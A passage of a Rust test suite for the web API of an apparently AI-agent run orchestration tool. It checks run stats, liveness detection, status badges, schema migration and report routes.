18510 assert_eq!(stats.json()["repo"], Value::Null);
18511
18512 let repos = stats.json()["repos"].clone();
18513 let repos = repos.as_array().unwrap();
18514 assert_eq!(repos.len(), 2);
18515 assert_eq!(repos[0]["repo"], "/repos/a");
18517 assert_eq!(repos[0]["name"], "a");
18518 assert_eq!(repos[0]["runs"], 2);
18519 assert_eq!(repos[1]["repo"], "/repos/b");
18520 assert_eq!(repos[1]["runs"], 1);
18521 }
18522
18523 #[tokio::test]
18524 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18525 let f = Fixture::start().await;
18526 write_run_repo(
18527 &f.runs(),
18528 "20260902-140501-a",
18529 RunStatus::Merged,
18530 "/repos/a",
18531 );
18532 write_run_repo(
18533 &f.runs(),
18534 "20260902-140502-b",
18535 RunStatus::Blocked,
18536 "/repos/b",
18537 );
18538
18539 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18540 assert_eq!(stats.status, 200);
18541 assert_eq!(stats.json()["totals"]["runs"], 1);
18542 assert_eq!(stats.json()["totals"]["merged"], 1);
18543 assert_eq!(stats.json()["repo"], "/repos/a");
18544 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18547 assert_eq!(stats.json()["runs_unreadable"], 0);
18550 }
18551
18552 #[tokio::test]
18553 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18554 let f = Fixture::start().await;
18555 write_run_repo(
18556 &f.runs(),
18557 "20260902-140501-a",
18558 RunStatus::Merged,
18559 "/repos/a",
18560 );
18561 write_run_repo(
18562 &f.runs(),
18563 "20260902-140502-b",
18564 RunStatus::Merged,
18565 "/repos/b",
18566 );
18567
18568 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18569 let json = f.get(uri).await.json();
18570 let daily = json["daily"].as_array().expect("daily is an array");
18571 assert_eq!(daily.len(), 30);
18572 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18573 let mut sorted = dates.clone();
18574 sorted.sort();
18575 assert_eq!(dates, sorted);
18576 for d in daily {
18577 assert_eq!(
18578 d["merged"].as_u64().unwrap()
18579 + d["ready"].as_u64().unwrap()
18580 + d["other"].as_u64().unwrap(),
18581 d["runs"].as_u64().unwrap()
18582 );
18583 }
18584 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18585 }
18586 }
18587
18588 #[tokio::test]
18589 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18590 let f = Fixture::start().await;
18591 write_run_repo(
18592 &f.runs(),
18593 "20260902-140501-a",
18594 RunStatus::Merged,
18595 "/repos/a",
18596 );
18597
18598 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18599 assert_eq!(stats.status, 404);
18600 }
18601
18602 #[tokio::test]
18603 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18604 let f = Fixture::start().await;
18605 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18606
18607 let summary = f.get("/api/runs").await.json();
18608 let row = &summary[0];
18609 assert_eq!(row["short"], "a1b2");
18610 assert_eq!(row["status"], "ready");
18611 assert_eq!(row["done"], true);
18612 assert_eq!(row["title"], "Add a web UI");
18613 assert_eq!(row["repo_name"], "magi");
18614 assert_eq!(row["judges"], 3);
18615 assert_eq!(row["winner"], Value::Null);
18616 assert_eq!(row["reviews"], 0);
18617
18618 let detail = f.get("/api/runs/a1b2").await;
18621 assert_eq!(detail.status, 200);
18622 assert_eq!(detail.json()["base_branch"], "main");
18623 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18624 }
18625
18626 #[tokio::test]
18634 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18635 let f = Fixture::start().await;
18636
18637 let mut none_run = RunState::new(
18638 PathBuf::from("/repo/magi"),
18639 "main".to_owned(),
18640 "0123456789abcdef".to_owned(),
18641 "Add a web UI".to_owned(),
18642 Config::default(),
18643 );
18644 none_run.id = "20260902-140503-none".to_owned();
18645 none_run.status = RunStatus::Ready;
18646 none_run.merge = Some(crate::run::MergeOutcome {
18647 mode: crate::config::MergeMode::None,
18648 ok: true,
18649 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18650 empty: false,
18651 });
18652 write_state(&f.runs(), &none_run);
18653
18654 let mut pr_run = RunState::new(
18655 PathBuf::from("/repo/magi"),
18656 "main".to_owned(),
18657 "0123456789abcdef".to_owned(),
18658 "Add a web UI".to_owned(),
18659 Config::default(),
18660 );
18661 pr_run.id = "20260902-140504-prcl".to_owned();
18662 pr_run.status = RunStatus::Ready;
18663 pr_run.merge = Some(crate::run::MergeOutcome {
18664 mode: crate::config::MergeMode::Pr,
18665 ok: false,
18666 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18667 empty: false,
18668 });
18669 write_state(&f.runs(), &pr_run);
18670
18671 let summary = f.get("/api/runs").await.json();
18672 let rows: std::collections::HashMap<&str, &Value> = summary
18673 .as_array()
18674 .expect("an array")
18675 .iter()
18676 .map(|r| (r["id"].as_str().expect("an id"), r))
18677 .collect();
18678 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18679 assert_eq!(
18680 rows[none_run.id.as_str()]["unmerged_by_design"],
18681 true,
18682 "a mode-none Ready must be flagged in the list"
18683 );
18684 assert_eq!(
18685 rows[pr_run.id.as_str()]["unmerged_by_design"],
18686 false,
18687 "a Ready reached by a closed pull request is a different case"
18688 );
18689
18690 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18691 assert_eq!(none_detail["status"], "ready");
18692 assert_eq!(none_detail["unmerged_by_design"], true);
18693
18694 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18695 assert_eq!(pr_detail["unmerged_by_design"], false);
18696 }
18697
18698 #[tokio::test]
18703 async fn run_core_survives_unavailable_related_stores() {
18704 let home = TempDir::new().unwrap();
18705 let ui = delta_test_ui(home.path());
18706 let state = RunState::new(
18707 PathBuf::from("/repo/magi"),
18708 "main".into(),
18709 "0123456789abcdef".into(),
18710 "Useful core instructions".into(),
18711 Config::default(),
18712 );
18713 let dir = ui.runs.join(&state.id);
18714 std::fs::create_dir_all(&dir).unwrap();
18715 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18716 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18717 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18718 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18719 .await
18720 .unwrap()
18721 .0;
18722 assert_eq!(core.state.instruction, state.instruction);
18723 assert_eq!(core.state.updated_at, state.updated_at);
18724 assert!(core.task.is_none());
18725 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18726 }
18727
18728 #[tokio::test]
18729 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18730 let f = Fixture::start().await;
18731 let id = "20260902-140502-bbbb";
18735 let mut state = RunState::new(
18736 PathBuf::from("/repo/magi"),
18737 "main".to_owned(),
18738 "0123456789abcdef".to_owned(),
18739 "Add a web UI".to_owned(),
18740 Config::default(),
18741 );
18742 state.id = id.to_owned();
18743 state.status = RunStatus::Judging;
18744 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18745 let dir = f.runs().join(id);
18746 std::fs::create_dir_all(&dir).expect("run dir");
18747 std::fs::write(
18748 dir.join("run.json"),
18749 serde_json::to_string_pretty(&state).expect("serialize run"),
18750 )
18751 .expect("write run.json");
18752
18753 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18759 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18760 assert_eq!(cold["live"], "unknown", "{cold}");
18761
18762 write_daemon(f.home.path(), Timestamp::now());
18765 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18766 assert_eq!(warm["live"], "live", "{warm}");
18767 }
18768
18769 #[test]
18770 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18771 let home = tempfile::tempdir().expect("temp home");
18772 let runs = home.path().join("runs");
18773 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18774 let mut state = RunState::new(
18775 PathBuf::from("/repo/magi"),
18776 "main".to_owned(),
18777 "0123456789abcdef".to_owned(),
18778 "Generated review context, not authored task criteria".to_owned(),
18779 Config::default(),
18780 );
18781 state.origin = origin;
18782 state.status = RunStatus::Blocked;
18783 state.driver_exited = false;
18785 state.gate_ran = true;
18786 let expected = serde_json::to_value(&state).expect("serialize current state");
18787 let mut legacy = expected.clone();
18788 legacy["schema"] = serde_json::json!(13);
18789 legacy.as_object_mut().unwrap().remove("task_instruction");
18790 let dir = runs.join(&state.id);
18791 std::fs::create_dir_all(&dir).expect("run dir");
18792 let path = dir.join("run.json");
18793 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18794 std::fs::write(&path, &body).expect("write legacy run");
18795
18796 for loaded in [
18797 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18798 read_run(&runs, &state.id).expect("web migration"),
18799 ] {
18800 assert_eq!(loaded.schema, crate::run::SCHEMA);
18801 assert!(loaded.task_instruction.is_none());
18802 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18803 }
18804 assert_eq!(runs_unreadable(&runs), 0);
18805 assert_eq!(std::fs::read(&path).unwrap(), body);
18806 }
18807 }
18808
18809 #[tokio::test]
18812 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18813 let f = Fixture::start().await;
18814 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18815 let mut state = RunState::new(
18816 PathBuf::from("/repo/magi"),
18817 "main".to_owned(),
18818 "0123456789abcdef".to_owned(),
18819 "Add a web UI".to_owned(),
18820 Config::default(),
18821 );
18822 state.id = id.to_owned();
18823 state.origin = origin;
18824 let mut value = serde_json::to_value(&state).expect("serialize run");
18825 if let Some(schema) = schema {
18826 value["schema"] = serde_json::json!(schema);
18827 value.as_object_mut().unwrap().remove("origin");
18828 }
18829 let dir = f.runs().join(id);
18830 std::fs::create_dir_all(&dir).expect("run dir");
18831 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18832 };
18833 write(
18834 "20260930-092817-ec34",
18835 Some(crate::run::Origin::from_agent_env(
18836 Some(("4a7b".to_owned(), "chat".to_owned())),
18837 None,
18838 )),
18839 None,
18840 );
18841 write("20260930-092817-0ld1", None, Some(12));
18842
18843 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18844 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18845 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18846
18847 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18848 assert_eq!(
18849 old["origin_label"], "origin unknown (started before origins were recorded)",
18850 "{old}"
18851 );
18852 assert!(old["origin"].is_null(), "{old}");
18853
18854 let list = f.get("/api/runs").await.json();
18855 let labels: Vec<_> = list
18856 .as_array()
18857 .unwrap()
18858 .iter()
18859 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18860 .collect();
18861 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18862 }
18863
18864 #[tokio::test]
18871 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18872 let f = Fixture::start().await;
18873 let id = "20260922-090000-cccc";
18874 let mut state = RunState::new(
18875 PathBuf::from("/repo/magi"),
18876 "main".to_owned(),
18877 "0123456789abcdef".to_owned(),
18878 "Review only".to_owned(),
18879 Config::default(),
18880 );
18881 state.id = id.to_owned();
18882 state.status = RunStatus::Reviewing;
18883 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18884 state.driver_pid = Some(std::process::id());
18890 state.driver_started_at = Some(
18891 crate::proc::process_started_at(std::process::id())
18892 .expect("this test process's own start time must be queryable"),
18893 );
18894 let dir = f.runs().join(id);
18895 std::fs::create_dir_all(&dir).expect("run dir");
18896 std::fs::write(
18897 dir.join("run.json"),
18898 serde_json::to_string_pretty(&state).expect("serialize run"),
18899 )
18900 .expect("write run.json");
18901
18902 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18903 assert_eq!(detail["live"], "live", "{detail}");
18904 }
18905
18906 #[tokio::test]
18912 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18913 let f = Fixture::start().await;
18914 let id = "20260922-090100-dddd";
18915 let mut state = RunState::new(
18916 PathBuf::from("/repo/magi"),
18917 "main".to_owned(),
18918 "0123456789abcdef".to_owned(),
18919 "Review only".to_owned(),
18920 Config::default(),
18921 );
18922 state.id = id.to_owned();
18923 state.status = RunStatus::Reviewing;
18924 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18925 state.driver_pid = Some(std::process::id());
18930 state.driver_started_at = Some("1".to_owned());
18931 let dir = f.runs().join(id);
18932 std::fs::create_dir_all(&dir).expect("run dir");
18933 std::fs::write(
18934 dir.join("run.json"),
18935 serde_json::to_string_pretty(&state).expect("serialize run"),
18936 )
18937 .expect("write run.json");
18938
18939 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18940 assert_eq!(detail["live"], "dead", "{detail}");
18941 }
18942
18943 #[test]
18947 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18948 let mk = |id: &str, pid: Option<u32>| {
18949 let mut s = RunState::new(
18950 PathBuf::from("/repo/magi"),
18951 "main".to_owned(),
18952 "0123456789abcdef".to_owned(),
18953 "Add a web UI".to_owned(),
18954 Config::default(),
18955 );
18956 s.id = id.to_owned();
18957 s.driver_pid = pid;
18958 s.driver_started_at = Some("1790000000".to_owned());
18959 s
18960 };
18961 let states = vec![
18962 mk("20260902-140502-aaaa", Some(77)),
18963 mk("20260902-140502-bbbb", Some(77)),
18964 mk("20260902-140502-cccc", Some(77)),
18965 mk("20260902-140502-dddd", None),
18966 ];
18967 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18968 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18969 let sup: HashMap<String, String> = [(
18970 "20260902-140502-aaaa".to_owned(),
18971 "20260902-140502-cccc".to_owned(),
18972 )]
18973 .into();
18974
18975 let status_calls = std::cell::Cell::new(0);
18976 let identity_calls = std::cell::Cell::new(0);
18977 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18978 |_| {
18979 status_calls.set(status_calls.get() + 1);
18980 Some(true)
18981 },
18982 |_| {
18983 identity_calls.set(identity_calls.get() + 1);
18984 Some("1790000000".to_owned())
18985 },
18986 ));
18987 let rows = summarize(
18988 states,
18989 &open,
18990 &claimed,
18991 &sup,
18992 |p| probe.borrow_mut().status(p),
18993 |p| probe.borrow_mut().started_at(p),
18994 );
18995
18996 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18997 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18998 assert_eq!(rows.len(), 4);
18999 assert!(!rows[0].waiting && rows[1].waiting);
19000 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19001 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19002 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19003 assert_eq!(rows[1].superseded_by, None);
19004 }
19005
19006 #[test]
19007 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19008 let mut state = RunState::new(
19009 PathBuf::from("/repo/magi"),
19010 "main".to_owned(),
19011 "0123456789abcdef".to_owned(),
19012 "Review only".to_owned(),
19013 Config::default(),
19014 );
19015 state.id = "20260922-090200-dead".to_owned();
19016 state.status = RunStatus::Reviewing;
19017 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19018 .expect("serialize list row");
19019 assert_eq!(row["status"], "reviewing");
19020 assert_eq!(row["display_status"], "stale");
19021 assert_eq!(row["live"], "dead", "{row}");
19022 assert!(!row["done"].as_bool().unwrap());
19023 }
19024
19025 #[test]
19026 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19027 use crate::run::Liveness::{Dead, Live, Unknown};
19028 let mut state = RunState::new(
19029 PathBuf::from("/repo/magi"),
19030 "main".to_owned(),
19031 "abc".to_owned(),
19032 "Review only".to_owned(),
19033 Config::default(),
19034 );
19035 for (status, parked, node, waiting, live, expected) in [
19036 (
19037 RunStatus::Judging,
19038 true,
19039 "github-text",
19040 false,
19041 Dead,
19042 "parked",
19043 ),
19044 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19045 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19046 (
19047 RunStatus::Judging,
19048 true,
19049 "github-text",
19050 true,
19051 Dead,
19052 "waiting",
19053 ),
19054 (
19055 RunStatus::Judging,
19056 false,
19057 "github-text",
19058 true,
19059 Dead,
19060 "waiting",
19061 ),
19062 (
19063 RunStatus::Judging,
19064 false,
19065 "github-text",
19066 false,
19067 Dead,
19068 "stale",
19069 ),
19070 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19071 (RunStatus::Judging, true, "park", false, Live, "judging"),
19072 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19073 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19074 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19075 (
19076 RunStatus::Blocked,
19077 true,
19078 "github-text",
19079 true,
19080 Dead,
19081 "waiting",
19082 ),
19083 ] {
19084 state.status = status;
19085 state.parked = parked;
19086 state.events.clear();
19087 state.event(
19088 "park",
19089 "an earlier park does not determine the latest state",
19090 );
19091 state.event(node, "message is not used for classification");
19092 let summary = RunSummary::of(&state, waiting, live);
19093 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19094 assert_eq!(
19095 summary.display_status, expected,
19096 "{status:?}/{node}/{live:?}"
19097 );
19098 assert_eq!(detail.display_status, summary.display_status);
19099 assert_eq!(detail.waiting, summary.waiting);
19100 }
19101 state.status = RunStatus::Judging;
19102 state.parked = false;
19103 state.events.clear();
19104 assert_eq!(run_display_status(&state, false, Dead), "stale");
19105 }
19106
19107 #[test]
19108 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19109 use crate::run::Liveness::{Dead, Live, Unknown};
19110 let mut state = RunState::new(
19111 PathBuf::from("/repo/magi"),
19112 "main".to_owned(),
19113 "abc".to_owned(),
19114 "Badge".to_owned(),
19115 Config::default(),
19116 );
19117 for (status, waiting, live, superseded, expected) in [
19118 (RunStatus::Gating, false, Dead, false, "stale"),
19119 (RunStatus::Gating, false, Dead, true, "superseded"),
19120 (RunStatus::Gating, false, Unknown, true, "superseded"),
19121 (RunStatus::Gating, true, Dead, true, "superseded"),
19122 (RunStatus::Gating, true, Dead, false, "waiting"),
19123 (RunStatus::Gating, false, Unknown, false, "gating"),
19124 (RunStatus::Gating, false, Live, true, "gating"),
19125 (RunStatus::Gating, true, Live, true, "waiting"),
19126 (RunStatus::Merged, false, Dead, true, "merged"),
19127 (RunStatus::Blocked, false, Dead, true, "blocked"),
19128 ] {
19129 state.status = status;
19130 let display = run_display_status(&state, waiting, live);
19131 assert_eq!(
19132 run_badge_status(&state, &display, live, superseded),
19133 expected,
19134 "{status:?}/{live:?}/superseded={superseded}"
19135 );
19136 }
19137 }
19138
19139 #[test]
19140 fn summarize_and_detail_expose_badge_status() {
19141 use crate::run::Liveness::Dead;
19142 let mut state = RunState::new(
19143 PathBuf::from("/repo/magi"),
19144 "main".to_owned(),
19145 "abc".to_owned(),
19146 "Badge".to_owned(),
19147 Config::default(),
19148 );
19149 state.status = RunStatus::Gating;
19150 let none = HashSet::new();
19151 let id = state.id.clone();
19152 let mut by = HashMap::new();
19153 let rows = summarize(
19154 [state.clone()],
19155 &none,
19156 &none,
19157 &by,
19158 |_| Some(false),
19159 |_| None,
19160 );
19161 assert_eq!(rows[0].badge_status, rows[0].display_status);
19163 by.insert(id, "20260901-000000-913b".to_owned());
19164 let detail = RunDetailView::of(
19165 state.clone(),
19166 false,
19167 Dead,
19168 Some("913b".to_owned()),
19169 None,
19170 None,
19171 );
19172 assert_eq!(detail.badge_status, "superseded");
19173 let json = serde_json::to_value(&detail).unwrap();
19174 assert_eq!(json["badge_status"], "superseded");
19175 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19176 assert_eq!(detail.badge_status, "stale");
19177 }
19178
19179 #[tokio::test]
19180 async fn run_display_status_routes_share_the_open_question_store() {
19181 let f = Fixture::start().await;
19182 let id = "20260922-090200-abcd";
19183 write_run(&f.runs(), id, RunStatus::Judging);
19184 let mut state = read_run(&f.runs(), id).unwrap();
19185 state.parked = true;
19186 state.driver_exited = true;
19187 state.event("github-text", "waiting for the owner");
19188 state.save_under(f.home.path()).unwrap();
19189 let mut task = Task::new(
19190 "resumed task".to_owned(),
19191 "do it".to_owned(),
19192 PathBuf::from("/repo"),
19193 Source::Human,
19194 );
19195 task.runs = vec![id.to_owned(), id.to_owned()];
19196 f.queue().put(&mut task).unwrap();
19197 let store = f.questions();
19198 let mut q = Question::new(
19199 id.to_owned(),
19200 "github-text".to_owned(),
19201 "owner".to_owned(),
19202 "Approve the text?".to_owned(),
19203 String::new(),
19204 Vec::new(),
19205 );
19206 store.put(&mut q).unwrap();
19207 for expected in ["waiting", "parked"] {
19208 let list = f.get("/api/runs").await.json();
19209 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19210 assert_eq!(list[0]["display_status"], expected);
19211 assert_eq!(detail["display_status"], expected);
19212 assert_eq!(detail["waiting"], list[0]["waiting"]);
19213 assert_eq!(list[0]["badge_status"], expected);
19214 assert_eq!(detail["badge_status"], expected);
19215 assert!(list[0]["superseded_by"].is_null());
19216 assert!(detail["superseded_by"].is_null());
19217 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19218 let history = task_detail["history"].as_array().unwrap();
19219 assert_eq!(history.len(), 2);
19220 assert!(history[0]["badge"].is_null());
19221 assert_eq!(history[1]["badge"], expected);
19222 q.status = ask::QuestionStatus::Answered;
19223 store.put(&mut q).unwrap();
19224 }
19225 }
19226
19227 #[tokio::test]
19228 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19229 let f = Fixture::start().await;
19230 let id = "20260922-090200-abcd";
19231 write_run(&f.runs(), id, RunStatus::Judging);
19232 let mut state = read_run(&f.runs(), id).unwrap();
19233 state.parked = true;
19234 state.driver_exited = true;
19235 state.event("park", "stopped at a node boundary");
19236 state.save_under(f.home.path()).unwrap();
19237
19238 for expected in ["parked", "stale"] {
19239 let list = f.get("/api/runs").await.json();
19240 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19241 assert_eq!(list[0]["live"], "dead");
19242 assert_eq!(list[0]["display_status"], expected);
19243 assert_eq!(detail["display_status"], expected);
19244 state.parked = false;
19247 state.save_under(f.home.path()).unwrap();
19248 }
19249 }
19250
19251 #[tokio::test]
19252 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19253 let f = Fixture::start().await;
19254 for id in [
19255 "20260902-140501-aaaa",
19256 "20260902-140502-bbbb",
19257 "20260902-140503-cccc",
19258 ] {
19259 write_run(&f.runs(), id, RunStatus::Merged);
19260 }
19261
19262 let all = f.get("/api/runs").await.json();
19263 let capped = f.get("/api/runs?limit=2").await.json();
19264
19265 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19266 assert_eq!(all.as_array().map(Vec::len), Some(3));
19267 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19268 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19269 }
19270
19271 #[tokio::test]
19272 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19273 let f = Fixture::start().await;
19274 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19275
19276 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19277
19278 assert_eq!(res.status, 200);
19279 assert!(
19280 res.headers
19281 .contains("content-type: text/plain; charset=utf-8"),
19282 "a browser must render it, not download it: {}",
19283 res.headers
19284 );
19285 assert!(
19289 res.body.contains("20260902-140501-a1b2"),
19290 "the report is about the run that was asked for: {}",
19291 res.body
19292 );
19293 }
19294
19295 #[tokio::test]
19296 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19297 crate::run::pin_test_home();
19299 let f = Fixture::start().await;
19300 let id = "20260902-140501-a1b2";
19301 write_run(&f.runs(), id, RunStatus::Stalled);
19302 let path = f.runs().join(id).join("run.json");
19305 let mut v: serde_json::Value =
19306 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19307 v["tally"] = serde_json::json!({
19308 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19309 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19310 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19311 "met_quorum": false, "rankings": 1
19312 });
19313 v["reviews"] = serde_json::json!([{
19314 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19315 "e2e_deferred": true,
19316 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19317 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19318 ]}]
19319 }]);
19320 std::fs::write(&path, v.to_string()).unwrap();
19321 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19322 std::fs::write(
19323 f.runs().join("20260902-140502-dead").join("run.json"),
19324 "{not json",
19325 )
19326 .unwrap();
19327
19328 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19329
19330 assert_eq!(res.status, 200, "{}", res.body);
19331 assert!(res.headers.contains("content-type: application/json"));
19332 let j = res.json();
19333 assert_eq!(j["schema"], 1);
19334 assert_eq!(j["header"]["id"], id);
19335 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19336 let kinds: Vec<&str> = j["sections"]
19337 .as_array()
19338 .unwrap()
19339 .iter()
19340 .map(|s| s["kind"].as_str().unwrap())
19341 .collect();
19342 assert_eq!(kinds, ["candidates", "tally", "review"]);
19343 let tally = &j["sections"][1]["tally"];
19344 assert_eq!(
19345 (tally["decided"].clone(), tally["provisional"].clone()),
19346 (false.into(), true.into())
19347 );
19348 let round = &j["sections"][2]["rounds"][0];
19349 assert_eq!(round["e2e"]["state"], "deferred");
19350 assert_eq!(round["findings"][0]["severity"], "major");
19351 assert_eq!(round["findings"][0]["blocking"], true);
19352 assert_eq!(round["findings"][0]["state"], "open");
19353
19354 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19356
19357 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19359 assert_ne!(bad.status, 200, "{}", bad.body);
19360 assert_eq!(
19361 bad.status,
19362 f.get("/api/runs/20260902-140502-dead/report").await.status
19363 );
19364 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19365 assert_eq!(
19366 f.get("/api/runs/20260902-999999-ffff/report.json")
19367 .await
19368 .status,
19369 404
19370 );
19371 }
19372
19373 #[tokio::test]
19374 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19375 crate::run::pin_test_home();
19376 let f = Fixture::start().await;
19377 let id = "20260902-140503-delib";
19378 write_run(&f.runs(), id, RunStatus::Merged);
19379 let path = f.runs().join(id).join("run.json");
19380 let mut v: serde_json::Value =
19381 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19382 v["judgements"] = serde_json::json!([
19383 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19384 ]);
19385 v["tally"] = serde_json::json!({
19386 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19387 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19388 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19389 "met_quorum": true, "rankings": 1
19390 });
19391 v["deliberation"] = serde_json::json!([
19392 {
19393 "round": 1,
19394 "turns": [
19395 {
19396 "judge": 1,
19397 "agent": "judge-1",
19398 "body": "I prefer candidate **A** because it has cleaner tests.",
19399 "tentative": "A"
19400 }
19401 ]
19402 },
19403 {
19404 "round": 2,
19405 "turns": [
19406 {
19407 "judge": 1,
19408 "agent": "judge-1",
19409 "body": "Still thinking, no choice yet.",
19410 "tentative": null
19411 }
19412 ]
19413 }
19414 ]);
19415 std::fs::write(&path, v.to_string()).unwrap();
19416
19417 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19418 assert_eq!(res.status, 200, "{}", res.body);
19419 let j = res.json();
19420 let judging = j["sections"]
19421 .as_array()
19422 .unwrap()
19423 .iter()
19424 .find(|s| s["kind"] == "judging")
19425 .expect("judging section exists");
19426
19427 let delib_lines = judging["deliberation"].as_array().unwrap();
19429 assert_eq!(delib_lines.len(), 2);
19430 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19431 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19432
19433 let rounds = judging["rounds"].as_array().unwrap();
19435 assert_eq!(rounds.len(), 2);
19436 let r1_t0 = &rounds[0]["turns"][0];
19437 assert_eq!(r1_t0["judge"], 1);
19438 assert_eq!(r1_t0["agent"], "judge-1");
19439 assert_eq!(r1_t0["tentative"], "A");
19440 assert_eq!(
19441 r1_t0["body"],
19442 "I prefer candidate **A** because it has cleaner tests."
19443 );
19444 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19445
19446 let r2_t0 = &rounds[1]["turns"][0];
19447 assert_eq!(r2_t0["judge"], 1);
19448 assert_eq!(r2_t0["agent"], "judge-1");
19449 assert!(r2_t0["tentative"].is_null());
19450 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19451 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19452
19453 let id_empty = "20260902-140504-nodelib";
19455 write_run(&f.runs(), id_empty, RunStatus::Merged);
19456 let path_empty = f.runs().join(id_empty).join("run.json");
